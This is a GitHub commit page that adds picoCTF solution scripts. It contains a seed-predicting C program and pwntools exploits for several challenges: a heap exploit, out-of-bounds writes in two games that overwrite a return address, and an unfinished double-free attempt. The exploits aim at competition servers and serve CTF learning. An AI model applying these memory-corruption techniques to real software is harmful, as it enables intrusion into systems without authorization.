Skip to content

Commit 34a9aa2

Browse files
seed spring, (wip) sice_cream, cache me outside, babygame01/02
1 parent 8d06d0e commit 34a9aa2

File tree

6 files changed

+135
-0
lines changed

6 files changed

+135
-0
lines changed

picoCTF/2019/seed_spring_generator

16.5 KB
Binary file not shown.

picoCTF/2019/seed_spring_generator.c

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <time.h>
4+
5+
int main(int argc, char* argv[]) {
6+
// For best results, run on webshell.picoctf.net with an offset of 0
7+
// If you can't get it to work try repeatedly running it with an offset of 0-2 seconds
8+
// An offset of 1 second is the best/most optimal one from my experience
9+
if (argc < 2) {
10+
puts("Usage: seed_spring_generator <offset in seconds>");
11+
return 0;
12+
}
13+
srand(time(NULL) + atoi(argv[1]));
14+
for (int i = 1; i <= 30; ++i) {
15+
printf("%d\n", rand() & 0xf);
16+
}
17+
}
18+

picoCTF/2019/sice_cream.py

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
from pwn import *
2+
r = remote('jupiter.challenges.picoctf.org', 51860)
3+
r.sendline(b'myname')
4+
5+
# 1. Write address of the function that reads a file
6+
# Allocate
7+
r.sendline(b'1')
8+
r.sendline(b'4')
9+
r.sendline(b'a' * 4)
10+
# Double Free
11+
12+
13+
# 2. Write the flag file name to BSS
14+
# I'm going to assume that it's flag.txt, which is what it usually is

picoCTF/2021/cache_me_outside.py

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
from pwn import *
2+
r = remote('mercury.picoctf.net', 17612)
3+
r.sendline(b'-5144')
4+
r.sendline(b'\x00')
5+
r.interactive()
6+

picoCTF/2023/babygame01.py

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
from pwn import *
2+
port = int(input('port='))
3+
r = remote('saturn.picoctf.net', port)
4+
x = 4
5+
y = 4
6+
def changechar(c):
7+
r.sendline(b'l' + c)
8+
def change_x(n):
9+
# x += n
10+
#print('x+=',n)
11+
if n < 0:
12+
r.send(b'w\n' * (-n))
13+
else:
14+
r.send(b's\n' * n)
15+
def change_y(n):
16+
# y += n
17+
#print('y+=',n)
18+
if n < 0:
19+
r.send(b'a\n' * (-n))
20+
else:
21+
r.send(b'd\n' * n)
22+
def set_x(n):
23+
global x
24+
diff = n - x
25+
change_x(diff)
26+
x = n
27+
def set_y(n):
28+
global y
29+
diff = n - y
30+
change_y(diff)
31+
y = n
32+
def win_game():
33+
r.sendline(b'p')
34+
35+
set_x(0)
36+
set_y(0xaa0 - 0xaa4)
37+
win_game()
38+
print(r.recvall())

picoCTF/2023/babygame02.py

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
from pwn import *
2+
port = int(input('port='))
3+
r = remote('saturn.picoctf.net', port)
4+
#r = process('/tmp/game2')
5+
#gdb.attach(r, 'break *0x08049498')
6+
x = 4
7+
y = 4
8+
def changechar(c):
9+
r.sendline(b'l' + bytes(c))
10+
def change_x(n):
11+
# x += n
12+
#print('x+=',n)
13+
if n < 0:
14+
r.send(b'w\n' * (-n))
15+
else:
16+
r.send(b's\n' * n)
17+
def change_y(n):
18+
# y += n
19+
#print('y+=',n)
20+
if n < 0:
21+
r.send(b'a\n' * (-n))
22+
else:
23+
r.send(b'd\n' * n)
24+
def set_x(n):
25+
global x
26+
diff = n - x
27+
change_x(diff)
28+
x = n
29+
def set_y(n):
30+
global y
31+
diff = n - y
32+
change_y(diff)
33+
y = n
34+
def win_game():
35+
r.sendline(b'p')
36+
37+
# Send payload
38+
# The -0x5a is so that we don't run over the x and y variables
39+
#gdb.attach(r)
40+
#set_x(-1)
41+
#set_y(0x5a - 3 - 0x1f)
42+
#set_y(47)
43+
# We write y before x, because apparently ebp-0x8 inside move_player is used to set esp?
44+
# (that messed me up the first time)
45+
# at (0,0), $eax-($ebp+4)=0xffffc353-0xffffc32c=39 (confirmed with GDB)
46+
#changechar(b'\x5d')
47+
# fsr 0x5d doesn't work so we'll use one of the bytes in the big chunk of NOPs
48+
changechar(b'\x6f')
49+
set_y(0x5a - 39)
50+
set_x(-1)
51+
52+
# Get the flag!
53+
r.interactive()
54+
55+
#r.interactive()
56+
#win_game()
57+
#while 1: print(r.recvline())
58+
#r.close()
59+
#print(r.recvall())

0 commit comments

Comments
 (0)